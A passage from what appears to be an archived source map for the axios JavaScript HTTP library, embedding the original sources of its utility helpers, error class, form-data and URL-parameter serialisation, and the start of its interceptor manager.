esm/axios.min.js.map000064400000465765151677271550010416 0ustar00{"version":3,"file":"axios.min.js","sources":["../../lib/helpers/bind.js","../../lib/utils.js","../../lib/core/AxiosError.js","../../lib/helpers/toFormData.js","../../lib/helpers/AxiosURLSearchParams.js","../../lib/helpers/buildURL.js","../../lib/core/InterceptorManager.js","../../lib/defaults/transitional.js","../../lib/platform/browser/index.js","../../lib/platform/browser/classes/URLSearchParams.js","../../lib/platform/browser/classes/FormData.js","../../lib/platform/browser/classes/Blob.js","../../lib/platform/common/utils.js","../../lib/platform/index.js","../../lib/helpers/formDataToJSON.js","../../lib/defaults/index.js","../../lib/helpers/toURLEncodedForm.js","../../lib/helpers/parseHeaders.js","../../lib/core/AxiosHeaders.js","../../lib/core/transformData.js","../../lib/cancel/isCancel.js","../../lib/cancel/CanceledError.js","../../lib/core/settle.js","../../lib/helpers/progressEventReducer.js","../../lib/helpers/speedometer.js","../../lib/helpers/throttle.js","../../lib/helpers/isURLSameOrigin.js","../../lib/helpers/cookies.js","../../lib/core/buildFullPath.js","../../lib/helpers/isAbsoluteURL.js","../../lib/helpers/combineURLs.js","../../lib/core/mergeConfig.js","../../lib/helpers/resolveConfig.js","../../lib/adapters/xhr.js","../../lib/helpers/parseProtocol.js","../../lib/helpers/composeSignals.js","../../lib/helpers/trackStream.js","../../lib/adapters/fetch.js","../../lib/adapters/adapters.js","../../lib/helpers/null.js","../../lib/core/dispatchRequest.js","../../lib/env/data.js","../../lib/helpers/validator.js","../../lib/core/Axios.js","../../lib/cancel/CancelToken.js","../../lib/helpers/HttpStatusCode.js","../../lib/axios.js","../../lib/helpers/spread.js","../../lib/helpers/isAxiosError.js","../../index.js"],"sourcesContent":["'use strict';\n\nexport default function bind(fn, thisArg) {\n  return function wrap() {\n    return fn.apply(thisArg, arguments);\n  };\n}\n","'use strict';\n\nimport bind from './helpers/bind.js';\n\n// utils is a library of generic helper functions non-specific to axios\n\nconst {toString} = Object.prototype;\nconst {getPrototypeOf} = Object;\n\nconst kindOf = (cache => thing => {\n    const str = toString.call(thing);\n    return cache[str] || (cache[str] = str.slice(8, -1).toLowerCase());\n})(Object.create(null));\n\nconst kindOfTest = (type) => {\n  type = type.toLowerCase();\n  return (thing) => kindOf(thing) === type\n}\n\nconst typeOfTest = type => thing => typeof thing === type;\n\n/**\n * Determine if a value is an Array\n *\n * @param {Object} val The value to test\n *\n * @returns {boolean} True if value is an Array, otherwise false\n */\nconst {isArray} = Array;\n\n/**\n * Determine if a value is undefined\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if the value is undefined, otherwise false\n */\nconst isUndefined = typeOfTest('undefined');\n\n/**\n * Determine if a value is a Buffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Buffer, otherwise false\n */\nfunction isBuffer(val) {\n  return val !== null && !isUndefined(val) && val.constructor !== null && !isUndefined(val.constructor)\n    && isFunction(val.constructor.isBuffer) && val.constructor.isBuffer(val);\n}\n\n/**\n * Determine if a value is an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is an ArrayBuffer, otherwise false\n */\nconst isArrayBuffer = kindOfTest('ArrayBuffer');\n\n\n/**\n * Determine if a value is a view on an ArrayBuffer\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a view on an ArrayBuffer, otherwise false\n */\nfunction isArrayBufferView(val) {\n  let result;\n  if ((typeof ArrayBuffer !== 'undefined') && (ArrayBuffer.isView)) {\n    result = ArrayBuffer.isView(val);\n  } else {\n    result = (val) && (val.buffer) && (isArrayBuffer(val.buffer));\n  }\n  return result;\n}\n\n/**\n * Determine if a value is a String\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a String, otherwise false\n */\nconst isString = typeOfTest('string');\n\n/**\n * Determine if a value is a Function\n *\n * @param {*} val The value to test\n * @returns {boolean} True if value is a Function, otherwise false\n */\nconst isFunction = typeOfTest('function');\n\n/**\n * Determine if a value is a Number\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Number, otherwise false\n */\nconst isNumber = typeOfTest('number');\n\n/**\n * Determine if a value is an Object\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an Object, otherwise false\n */\nconst isObject = (thing) => thing !== null && typeof thing === 'object';\n\n/**\n * Determine if a value is a Boolean\n *\n * @param {*} thing The value to test\n * @returns {boolean} True if value is a Boolean, otherwise false\n */\nconst isBoolean = thing => thing === true || thing === false;\n\n/**\n * Determine if a value is a plain Object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a plain Object, otherwise false\n */\nconst isPlainObject = (val) => {\n  if (kindOf(val) !== 'object') {\n    return false;\n  }\n\n  const prototype = getPrototypeOf(val);\n  return (prototype === null || prototype === Object.prototype || Object.getPrototypeOf(prototype) === null) && !(Symbol.toStringTag in val) && !(Symbol.iterator in val);\n}\n\n/**\n * Determine if a value is a Date\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Date, otherwise false\n */\nconst isDate = kindOfTest('Date');\n\n/**\n * Determine if a value is a File\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFile = kindOfTest('File');\n\n/**\n * Determine if a value is a Blob\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Blob, otherwise false\n */\nconst isBlob = kindOfTest('Blob');\n\n/**\n * Determine if a value is a FileList\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a File, otherwise false\n */\nconst isFileList = kindOfTest('FileList');\n\n/**\n * Determine if a value is a Stream\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a Stream, otherwise false\n */\nconst isStream = (val) => isObject(val) && isFunction(val.pipe);\n\n/**\n * Determine if a value is a FormData\n *\n * @param {*} thing The value to test\n *\n * @returns {boolean} True if value is an FormData, otherwise false\n */\nconst isFormData = (thing) => {\n  let kind;\n  return thing && (\n    (typeof FormData === 'function' && thing instanceof FormData) || (\n      isFunction(thing.append) && (\n        (kind = kindOf(thing)) === 'formdata' ||\n        // detect form-data instance\n        (kind === 'object' && isFunction(thing.toString) && thing.toString() === '[object FormData]')\n      )\n    )\n  )\n}\n\n/**\n * Determine if a value is a URLSearchParams object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a URLSearchParams object, otherwise false\n */\nconst isURLSearchParams = kindOfTest('URLSearchParams');\n\nconst [isReadableStream, isRequest, isResponse, isHeaders] = ['ReadableStream', 'Request', 'Response', 'Headers'].map(kindOfTest);\n\n/**\n * Trim excess whitespace off the beginning and end of a string\n *\n * @param {String} str The String to trim\n *\n * @returns {String} The String freed of excess whitespace\n */\nconst trim = (str) => str.trim ?\n  str.trim() : str.replace(/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g, '');\n\n/**\n * Iterate over an Array or an Object invoking a function for each item.\n *\n * If `obj` is an Array callback will be called passing\n * the value, index, and complete array for each item.\n *\n * If 'obj' is an Object callback will be called passing\n * the value, key, and complete object for each property.\n *\n * @param {Object|Array} obj The object to iterate\n * @param {Function} fn The callback to invoke for each item\n *\n * @param {Boolean} [allOwnKeys = false]\n * @returns {any}\n */\nfunction forEach(obj, fn, {allOwnKeys = false} = {}) {\n  // Don't bother if no value provided\n  if (obj === null || typeof obj === 'undefined') {\n    return;\n  }\n\n  let i;\n  let l;\n\n  // Force an array if not already something iterable\n  if (typeof obj !== 'object') {\n    /*eslint no-param-reassign:0*/\n    obj = [obj];\n  }\n\n  if (isArray(obj)) {\n    // Iterate over array values\n    for (i = 0, l = obj.length; i < l; i++) {\n      fn.call(null, obj[i], i, obj);\n    }\n  } else {\n    // Iterate over object keys\n    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);\n    const len = keys.length;\n    let key;\n\n    for (i = 0; i < len; i++) {\n      key = keys[i];\n      fn.call(null, obj[key], key, obj);\n    }\n  }\n}\n\nfunction findKey(obj, key) {\n  key = key.toLowerCase();\n  const keys = Object.keys(obj);\n  let i = keys.length;\n  let _key;\n  while (i-- > 0) {\n    _key = keys[i];\n    if (key === _key.toLowerCase()) {\n      return _key;\n    }\n  }\n  return null;\n}\n\nconst _global = (() => {\n  /*eslint no-undef:0*/\n  if (typeof globalThis !== \"undefined\") return globalThis;\n  return typeof self !== \"undefined\" ? self : (typeof window !== 'undefined' ? window : global)\n})();\n\nconst isContextDefined = (context) => !isUndefined(context) && context !== _global;\n\n/**\n * Accepts varargs expecting each argument to be an object, then\n * immutably merges the properties of each object and returns result.\n *\n * When multiple objects contain the same key the later object in\n * the arguments list will take precedence.\n *\n * Example:\n *\n * ```js\n * var result = merge({foo: 123}, {foo: 456});\n * console.log(result.foo); // outputs 456\n * ```\n *\n * @param {Object} obj1 Object to merge\n *\n * @returns {Object} Result of all merge properties\n */\nfunction merge(/* obj1, obj2, obj3, ... */) {\n  const {caseless} = isContextDefined(this) && this || {};\n  const result = {};\n  const assignValue = (val, key) => {\n    const targetKey = caseless && findKey(result, key) || key;\n    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {\n      result[targetKey] = merge(result[targetKey], val);\n    } else if (isPlainObject(val)) {\n      result[targetKey] = merge({}, val);\n    } else if (isArray(val)) {\n      result[targetKey] = val.slice();\n    } else {\n      result[targetKey] = val;\n    }\n  }\n\n  for (let i = 0, l = arguments.length; i < l; i++) {\n    arguments[i] && forEach(arguments[i], assignValue);\n  }\n  return result;\n}\n\n/**\n * Extends object a by mutably adding to it the properties of object b.\n *\n * @param {Object} a The object to be extended\n * @param {Object} b The object to copy properties from\n * @param {Object} thisArg The object to bind function to\n *\n * @param {Boolean} [allOwnKeys]\n * @returns {Object} The resulting value of object a\n */\nconst extend = (a, b, thisArg, {allOwnKeys}= {}) => {\n  forEach(b, (val, key) => {\n    if (thisArg && isFunction(val)) {\n      a[key] = bind(val, thisArg);\n    } else {\n      a[key] = val;\n    }\n  }, {allOwnKeys});\n  return a;\n}\n\n/**\n * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)\n *\n * @param {string} content with BOM\n *\n * @returns {string} content value without BOM\n */\nconst stripBOM = (content) => {\n  if (content.charCodeAt(0) === 0xFEFF) {\n    content = content.slice(1);\n  }\n  return content;\n}\n\n/**\n * Inherit the prototype methods from one constructor into another\n * @param {function} constructor\n * @param {function} superConstructor\n * @param {object} [props]\n * @param {object} [descriptors]\n *\n * @returns {void}\n */\nconst inherits = (constructor, superConstructor, props, descriptors) => {\n  constructor.prototype = Object.create(superConstructor.prototype, descriptors);\n  constructor.prototype.constructor = constructor;\n  Object.defineProperty(constructor, 'super', {\n    value: superConstructor.prototype\n  });\n  props && Object.assign(constructor.prototype, props);\n}\n\n/**\n * Resolve object with deep prototype chain to a flat object\n * @param {Object} sourceObj source object\n * @param {Object} [destObj]\n * @param {Function|Boolean} [filter]\n * @param {Function} [propFilter]\n *\n * @returns {Object}\n */\nconst toFlatObject = (sourceObj, destObj, filter, propFilter) => {\n  let props;\n  let i;\n  let prop;\n  const merged = {};\n\n  destObj = destObj || {};\n  // eslint-disable-next-line no-eq-null,eqeqeq\n  if (sourceObj == null) return destObj;\n\n  do {\n    props = Object.getOwnPropertyNames(sourceObj);\n    i = props.length;\n    while (i-- > 0) {\n      prop = props[i];\n      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {\n        destObj[prop] = sourceObj[prop];\n        merged[prop] = true;\n      }\n    }\n    sourceObj = filter !== false && getPrototypeOf(sourceObj);\n  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);\n\n  return destObj;\n}\n\n/**\n * Determines whether a string ends with the characters of a specified string\n *\n * @param {String} str\n * @param {String} searchString\n * @param {Number} [position= 0]\n *\n * @returns {boolean}\n */\nconst endsWith = (str, searchString, position) => {\n  str = String(str);\n  if (position === undefined || position > str.length) {\n    position = str.length;\n  }\n  position -= searchString.length;\n  const lastIndex = str.indexOf(searchString, position);\n  return lastIndex !== -1 && lastIndex === position;\n}\n\n\n/**\n * Returns new array from array like object or null if failed\n *\n * @param {*} [thing]\n *\n * @returns {?Array}\n */\nconst toArray = (thing) => {\n  if (!thing) return null;\n  if (isArray(thing)) return thing;\n  let i = thing.length;\n  if (!isNumber(i)) return null;\n  const arr = new Array(i);\n  while (i-- > 0) {\n    arr[i] = thing[i];\n  }\n  return arr;\n}\n\n/**\n * Checking if the Uint8Array exists and if it does, it returns a function that checks if the\n * thing passed in is an instance of Uint8Array\n *\n * @param {TypedArray}\n *\n * @returns {Array}\n */\n// eslint-disable-next-line func-names\nconst isTypedArray = (TypedArray => {\n  // eslint-disable-next-line func-names\n  return thing => {\n    return TypedArray && thing instanceof TypedArray;\n  };\n})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));\n\n/**\n * For each entry in the object, call the function with the key and value.\n *\n * @param {Object<any, any>} obj - The object to iterate over.\n * @param {Function} fn - The function to call for each entry.\n *\n * @returns {void}\n */\nconst forEachEntry = (obj, fn) => {\n  const generator = obj && obj[Symbol.iterator];\n\n  const iterator = generator.call(obj);\n\n  let result;\n\n  while ((result = iterator.next()) && !result.done) {\n    const pair = result.value;\n    fn.call(obj, pair[0], pair[1]);\n  }\n}\n\n/**\n * It takes a regular expression and a string, and returns an array of all the matches\n *\n * @param {string} regExp - The regular expression to match against.\n * @param {string} str - The string to search.\n *\n * @returns {Array<boolean>}\n */\nconst matchAll = (regExp, str) => {\n  let matches;\n  const arr = [];\n\n  while ((matches = regExp.exec(str)) !== null) {\n    arr.push(matches);\n  }\n\n  return arr;\n}\n\n/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */\nconst isHTMLForm = kindOfTest('HTMLFormElement');\n\nconst toCamelCase = str => {\n  return str.toLowerCase().replace(/[-_\\s]([a-z\\d])(\\w*)/g,\n    function replacer(m, p1, p2) {\n      return p1.toUpperCase() + p2;\n    }\n  );\n};\n\n/* Creating a function that will check if an object has a property. */\nconst hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);\n\n/**\n * Determine if a value is a RegExp object\n *\n * @param {*} val The value to test\n *\n * @returns {boolean} True if value is a RegExp object, otherwise false\n */\nconst isRegExp = kindOfTest('RegExp');\n\nconst reduceDescriptors = (obj, reducer) => {\n  const descriptors = Object.getOwnPropertyDescriptors(obj);\n  const reducedDescriptors = {};\n\n  forEach(descriptors, (descriptor, name) => {\n    let ret;\n    if ((ret = reducer(descriptor, name, obj)) !== false) {\n      reducedDescriptors[name] = ret || descriptor;\n    }\n  });\n\n  Object.defineProperties(obj, reducedDescriptors);\n}\n\n/**\n * Makes all methods read-only\n * @param {Object} obj\n */\n\nconst freezeMethods = (obj) => {\n  reduceDescriptors(obj, (descriptor, name) => {\n    // skip restricted props in strict mode\n    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {\n      return false;\n    }\n\n    const value = obj[name];\n\n    if (!isFunction(value)) return;\n\n    descriptor.enumerable = false;\n\n    if ('writable' in descriptor) {\n      descriptor.writable = false;\n      return;\n    }\n\n    if (!descriptor.set) {\n      descriptor.set = () => {\n        throw Error('Can not rewrite read-only method \\'' + name + '\\'');\n      };\n    }\n  });\n}\n\nconst toObjectSet = (arrayOrString, delimiter) => {\n  const obj = {};\n\n  const define = (arr) => {\n    arr.forEach(value => {\n      obj[value] = true;\n    });\n  }\n\n  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));\n\n  return obj;\n}\n\nconst noop = () => {}\n\nconst toFiniteNumber = (value, defaultValue) => {\n  return value != null && Number.isFinite(value = +value) ? value : defaultValue;\n}\n\nconst ALPHA = 'abcdefghijklmnopqrstuvwxyz'\n\nconst DIGIT = '0123456789';\n\nconst ALPHABET = {\n  DIGIT,\n  ALPHA,\n  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT\n}\n\nconst generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {\n  let str = '';\n  const {length} = alphabet;\n  while (size--) {\n    str += alphabet[Math.random() * length|0]\n  }\n\n  return str;\n}\n\n/**\n * If the thing is a FormData object, return true, otherwise return false.\n *\n * @param {unknown} thing - The thing to check.\n *\n * @returns {boolean}\n */\nfunction isSpecCompliantForm(thing) {\n  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);\n}\n\nconst toJSONObject = (obj) => {\n  const stack = new Array(10);\n\n  const visit = (source, i) => {\n\n    if (isObject(source)) {\n      if (stack.indexOf(source) >= 0) {\n        return;\n      }\n\n      if(!('toJSON' in source)) {\n        stack[i] = source;\n        const target = isArray(source) ? [] : {};\n\n        forEach(source, (value, key) => {\n          const reducedValue = visit(value, i + 1);\n          !isUndefined(reducedValue) && (target[key] = reducedValue);\n        });\n\n        stack[i] = undefined;\n\n        return target;\n      }\n    }\n\n    return source;\n  }\n\n  return visit(obj, 0);\n}\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\nexport default {\n  isArray,\n  isArrayBuffer,\n  isBuffer,\n  isFormData,\n  isArrayBufferView,\n  isString,\n  isNumber,\n  isBoolean,\n  isObject,\n  isPlainObject,\n  isReadableStream,\n  isRequest,\n  isResponse,\n  isHeaders,\n  isUndefined,\n  isDate,\n  isFile,\n  isBlob,\n  isRegExp,\n  isFunction,\n  isStream,\n  isURLSearchParams,\n  isTypedArray,\n  isFileList,\n  forEach,\n  merge,\n  extend,\n  trim,\n  stripBOM,\n  inherits,\n  toFlatObject,\n  kindOf,\n  kindOfTest,\n  endsWith,\n  toArray,\n  forEachEntry,\n  matchAll,\n  isHTMLForm,\n  hasOwnProperty,\n  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n  reduceDescriptors,\n  freezeMethods,\n  toObjectSet,\n  toCamelCase,\n  noop,\n  toFiniteNumber,\n  findKey,\n  global: _global,\n  isContextDefined,\n  ALPHABET,\n  generateString,\n  isSpecCompliantForm,\n  toJSONObject,\n  isAsyncFn,\n  isThenable\n};\n","'use strict';\n\nimport utils from '../utils.js';\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n  Error.call(this);\n\n  if (Error.captureStackTrace) {\n    Error.captureStackTrace(this, this.constructor);\n  } else {\n    this.stack = (new Error()).stack;\n  }\n\n  this.message = message;\n  this.name = 'AxiosError';\n  code && (this.code = code);\n  config && (this.config = config);\n  request && (this.request = request);\n  response && (this.response = response);\n}\n\nutils.inherits(AxiosError, Error, {\n  toJSON: function toJSON() {\n    return {\n      // Standard\n      message: this.message,\n      name: this.name,\n      // Microsoft\n      description: this.description,\n      number: this.number,\n      // Mozilla\n      fileName: this.fileName,\n      lineNumber: this.lineNumber,\n      columnNumber: this.columnNumber,\n      stack: this.stack,\n      // Axios\n      config: utils.toJSONObject(this.config),\n      code: this.code,\n      status: this.response && this.response.status ? this.response.status : null\n    };\n  }\n});\n\nconst prototype = AxiosError.prototype;\nconst descriptors = {};\n\n[\n  'ERR_BAD_OPTION_VALUE',\n  'ERR_BAD_OPTION',\n  'ECONNABORTED',\n  'ETIMEDOUT',\n  'ERR_NETWORK',\n  'ERR_FR_TOO_MANY_REDIRECTS',\n  'ERR_DEPRECATED',\n  'ERR_BAD_RESPONSE',\n  'ERR_BAD_REQUEST',\n  'ERR_CANCELED',\n  'ERR_NOT_SUPPORT',\n  'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n  descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n  const axiosError = Object.create(prototype);\n\n  utils.toFlatObject(error, axiosError, function filter(obj) {\n    return obj !== Error.prototype;\n  }, prop => {\n    return prop !== 'isAxiosError';\n  });\n\n  AxiosError.call(axiosError, error.message, code, config, request, response);\n\n  axiosError.cause = error;\n\n  axiosError.name = error.name;\n\n  customProps && Object.assign(axiosError, customProps);\n\n  return axiosError;\n};\n\nexport default AxiosError;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosError from '../core/AxiosError.js';\n// temporary hotfix to avoid circular references until AxiosURLSearchParams is refactored\nimport PlatformFormData from '../platform/node/classes/FormData.js';\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n  return utils.isPlainObject(thing) || utils.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n  return utils.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n  if (!path) return key;\n  return path.concat(key).map(function each(token, i) {\n    // eslint-disable-next-line no-param-reassign\n    token = removeBrackets(token);\n    return !dots && i ? '[' + token + ']' : token;\n  }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n  return utils.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils.toFlatObject(utils, {}, null, function filter(prop) {\n  return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n  if (!utils.isObject(obj)) {\n    throw new TypeError('target must be an object');\n  }\n\n  // eslint-disable-next-line no-param-reassign\n  formData = formData || new (PlatformFormData || FormData)();\n\n  // eslint-disable-next-line no-param-reassign\n  options = utils.toFlatObject(options, {\n    metaTokens: true,\n    dots: false,\n    indexes: false\n  }, false, function defined(option, source) {\n    // eslint-disable-next-line no-eq-null,eqeqeq\n    return !utils.isUndefined(source[option]);\n  });\n\n  const metaTokens = options.metaTokens;\n  // eslint-disable-next-line no-use-before-define\n  const visitor = options.visitor || defaultVisitor;\n  const dots = options.dots;\n  const indexes = options.indexes;\n  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n  const useBlob = _Blob && utils.isSpecCompliantForm(formData);\n\n  if (!utils.isFunction(visitor)) {\n    throw new TypeError('visitor must be a function');\n  }\n\n  function convertValue(value) {\n    if (value === null) return '';\n\n    if (utils.isDate(value)) {\n      return value.toISOString();\n    }\n\n    if (!useBlob && utils.isBlob(value)) {\n      throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n    }\n\n    if (utils.isArrayBuffer(value) || utils.isTypedArray(value)) {\n      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n    }\n\n    return value;\n  }\n\n  /**\n   * Default visitor.\n   *\n   * @param {*} value\n   * @param {String|Number} key\n   * @param {Array<String|Number>} path\n   * @this {FormData}\n   *\n   * @returns {boolean} return true to visit the each prop of the value recursively\n   */\n  function defaultVisitor(value, key, path) {\n    let arr = value;\n\n    if (value && !path && typeof value === 'object') {\n      if (utils.endsWith(key, '{}')) {\n        // eslint-disable-next-line no-param-reassign\n        key = metaTokens ? key : key.slice(0, -2);\n        // eslint-disable-next-line no-param-reassign\n        value = JSON.stringify(value);\n      } else if (\n        (utils.isArray(value) && isFlatArray(value)) ||\n        ((utils.isFileList(value) || utils.endsWith(key, '[]')) && (arr = utils.toArray(value))\n        )) {\n        // eslint-disable-next-line no-param-reassign\n        key = removeBrackets(key);\n\n        arr.forEach(function each(el, index) {\n          !(utils.isUndefined(el) || el === null) && formData.append(\n            // eslint-disable-next-line no-nested-ternary\n            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n            convertValue(el)\n          );\n        });\n        return false;\n      }\n    }\n\n    if (isVisitable(value)) {\n      return true;\n    }\n\n    formData.append(renderKey(path, key, dots), convertValue(value));\n\n    return false;\n  }\n\n  const stack = [];\n\n  const exposedHelpers = Object.assign(predicates, {\n    defaultVisitor,\n    convertValue,\n    isVisitable\n  });\n\n  function build(value, path) {\n    if (utils.isUndefined(value)) return;\n\n    if (stack.indexOf(value) !== -1) {\n      throw Error('Circular reference detected in ' + path.join('.'));\n    }\n\n    stack.push(value);\n\n    utils.forEach(value, function each(el, key) {\n      const result = !(utils.isUndefined(el) || el === null) && visitor.call(\n        formData, el, utils.isString(key) ? key.trim() : key, path, exposedHelpers\n      );\n\n      if (result === true) {\n        build(el, path ? path.concat(key) : [key]);\n      }\n    });\n\n    stack.pop();\n  }\n\n  if (!utils.isObject(obj)) {\n    throw new TypeError('data must be an object');\n  }\n\n  build(obj);\n\n  return formData;\n}\n\nexport default toFormData;\n","'use strict';\n\nimport toFormData from './toFormData.js';\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode(str) {\n  const charMap = {\n    '!': '%21',\n    \"'\": '%27',\n    '(': '%28',\n    ')': '%29',\n    '~': '%7E',\n    '%20': '+',\n    '%00': '\\x00'\n  };\n  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n    return charMap[match];\n  });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n  this._pairs = [];\n\n  params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n  this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n  const _encode = encoder ? function(value) {\n    return encoder.call(this, value, encode);\n  } : encode;\n\n  return this._pairs.map(function each(pair) {\n    return _encode(pair[0]) + '=' + _encode(pair[1]);\n  }, '').join('&');\n};\n\nexport default AxiosURLSearchParams;\n","'use strict';\n\nimport utils from '../utils.js';\nimport AxiosURLSearchParams from '../helpers/AxiosURLSearchParams.js';\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n  return encodeURIComponent(val).\n    replace(/%3A/gi, ':').\n    replace(/%24/g, '$').\n    replace(/%2C/gi, ',').\n    replace(/%20/g, '+').\n    replace(/%5B/gi, '[').\n    replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?object} options\n *\n * @returns {string} The formatted url\n */\nexport default function buildURL(url, params, options) {\n  /*eslint no-param-reassign:0*/\n  if (!params) {\n    return url;\n  }\n  \n  const _encode = options && options.encode || encode;\n\n  const serializeFn = options && options.serialize;\n\n  let serializedParams;\n\n  if (serializeFn) {\n    serializedParams = serializeFn(params, options);\n  } else {\n    serializedParams = utils.isURLSearchParams(params) ?\n      params.toString() :\n      new AxiosURLSearchParams(params, options).toString(_encode);\n  }\n\n  if (serializedParams) {\n    const hashmarkIndex = url.indexOf(\"#\");\n\n    if (hashmarkIndex !== -1) {\n      url = url.slice(0, hashmarkIndex);\n    }\n    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n  }\n\n  return url;\n}\n","'use strict';\n\nimport utils from './../utils.js';\n\nclass InterceptorManager {\n  constructor() {\n    this.handlers = [];\n  }\n\n  /**\n   * Add a new interceptor to the stack\n   *\n   * @param {Function} fulfilled The function to handle `then` for a `Promise`\n   * @param {Function} rejected The function to handle `reject` for a `Promise`\n   *\n   * @return {Number} An ID used to remove interceptor later\n   */\n  use(fulfilled, rejected, options) {\n    this.handlers.push({\n      fulfilled,\n      rejected,\n      synchronous: options ? options.synchronous : false,\n      runWhen: options ? options.runWhen : null\n    });\n    return this.handlers.length - 1;\n  }\n\n  /**\n   * Remove an interceptor from the stack\n   *\n   * @param {Number} id The ID that was returned by `use`\n   *\n   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n   */\n  eject(id) {\n    if (this.handlers[id]) {\n      this.handlers[id] = null;\n    }\n  }\n\n  /**\n   * Clear all interceptors from the stack\n   *\n   * @returns {void}\n   */\n  clear() {\n    if (this.handlers) {\n      this.handlers = [];\n    }\n  }\n\n  /**\n   * Iterate over all the registered interceptors\n   *\n   * This method is particularly useful for skipping over any\n   * interceptors that may have become `null` calling `eject`.\n   *\n   * @param {Function} fn The function to call for each interceptor\n   *\n   * @returns {void}\n   */\n  forEach(fn) {\n    